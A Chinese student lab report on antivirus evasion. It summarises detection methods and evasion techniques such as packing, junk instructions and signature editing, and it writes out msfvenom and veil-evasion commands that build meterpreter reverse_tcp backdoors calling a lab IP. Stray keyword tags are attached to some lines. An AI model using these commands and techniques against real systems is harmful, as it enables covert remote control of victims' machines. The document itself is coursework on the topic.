20169219《網絡攻防》免殺技術學習總結

1、基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?

1:基於特徵碼算法

一段特徵碼就是一段或多段數據。(若是一個可執行文件(或其餘運行的庫、腳本等)包含這樣的數據則被認爲是惡意代碼)
殺毒軟件有本身專門的特徵碼庫,在檢測一個程序是不是惡意代碼時就看這個程序中的是否包含有特徵碼庫中的特徵碼,若是有就進行查殺。可是特徵碼庫並非老是能第一時間更新,若是出現了特徵碼庫中沒有的新特徵碼,那麼就沒法經過這種比對的方法進行查殺。shell

2: 啓發式惡意軟件檢測編程

根據些片面特徵去推斷。其能夠檢測0-day惡意軟件,具備必定通用性;可是其實時監控系統行爲,開銷稍多,沒有基於特徵碼的精確度高。
3:基於行爲的惡意軟件檢測windows

從理論上講,基於行爲的檢測至關因而啓發式的一種,或者是加入了行爲監控的啓發式。數組

(2)免殺是作什麼?

免殺即便用不一樣方法使得惡意程序不被殺軟和防火牆發覺。安全

(3)免殺的基本方法有哪些?

一、加殼脫殼與加密解密tcp

利用特殊的算法,對可執行文件與動態庫裏的資源進行壓縮與對文件的描述、版本號、建立日期、修改軟件、系統執行需求等外層數據進行假裝。工具

二、加花指令與程序入口點修改編碼

加花指令就是在程序開頭加入一段計算用的彙編指令和一些入口點內存地址的亂跳轉,或加上其餘經常使用程序特有的入口指令來迷惑殺毒軟件。由於計算與跳轉的最後結果是沒有實質的意義的,因此這麼作並不影響程序的正常運行。但能使一些殺毒軟件沒法正確識別木馬程序,從而達到免殺的效果。
程序入口點修改就是改變入口點,一般用到的方法是在入口點的地址加1或把入口點地址拆開,也有加花指令以後把原入口點修改到花指令的入口點上令電腦先處理那段沒意義的指令,再在花指令後再加跳轉代碼,跳轉到程序執行數據的入口點上,令程序正常運行。加密

三、內存、文件特徵碼的定位與修改

首先用特徵碼定位軟件定位文件特徵碼的所在之處,再用UltraEdit對被定位的特徵碼段進行修改。
通常修改方法有:
十六進制的特徵碼直接修改法,就是把十六進制的特徵碼加1;
字符串大小寫修改法,就是特徵碼所對應的內容是字符串的時候,把大小字互換;
等價替換法,就是當特徵碼所對應的是彙編指令時,把指令替換成功能類擬的指令;
指令順序調換法,把特徵碼對應的彙編指令的順序互換;
通用跳轉法,用跳轉的方法把特徵碼對應的彙編指令跳轉走,猶如加花同樣。

四、集成在盜版軟件中,誘使使用者使用時關閉殺軟防火牆。

實踐內容:

(1)理解免殺技術原理

(2)正確使用msf編碼器,veil-evasion,本身利用shellcode編程等免殺工具或技巧;

2、使用msf編碼器直接生成一個後門程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.113 LPORT=5329 -f exe > 19met-encoded.exe

對生成的文件用virscan進行檢測,結果以下

3、使用veil-evasion

首先要先安裝veil-evasion
使用以下命令進行安裝

apt-get update
apt-get install veil-evasion

安裝完成以後,直接輸入veil-evasion進入程序
接下來逐步輸入以下命令,生成11111.exe

use 
c/meterpreter/rev_tcp 
set LHOST 172.16.69.116 
generate 
11111
1

對生成的11111.exe文件在http://www.virscan.org/進行檢測

仍是不能免殺成功

4、shellcode編程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.116 LPORT=443 -f c生成一個c格式的十六進制數組

編寫程序生成.exe文件,並掃描

實驗總結與體會

實現真正的免殺仍是有必定困難的,及時實現免殺,如何將惡意代碼植入用戶的使用程序仍是很困難的問題。
一種新的病毒出現,殺毒軟件真正發揮做用仍是有一段時間的,確定會有用戶程序被病毒感染,因此要提升本身的安全意識;

離實戰還缺些什麼技術或步驟?

操做過程當中只能按照教程一步一步來,本身對免殺實際的做用方法理解還不透徹,編程能力還不夠。

相關文章
相關標籤/搜索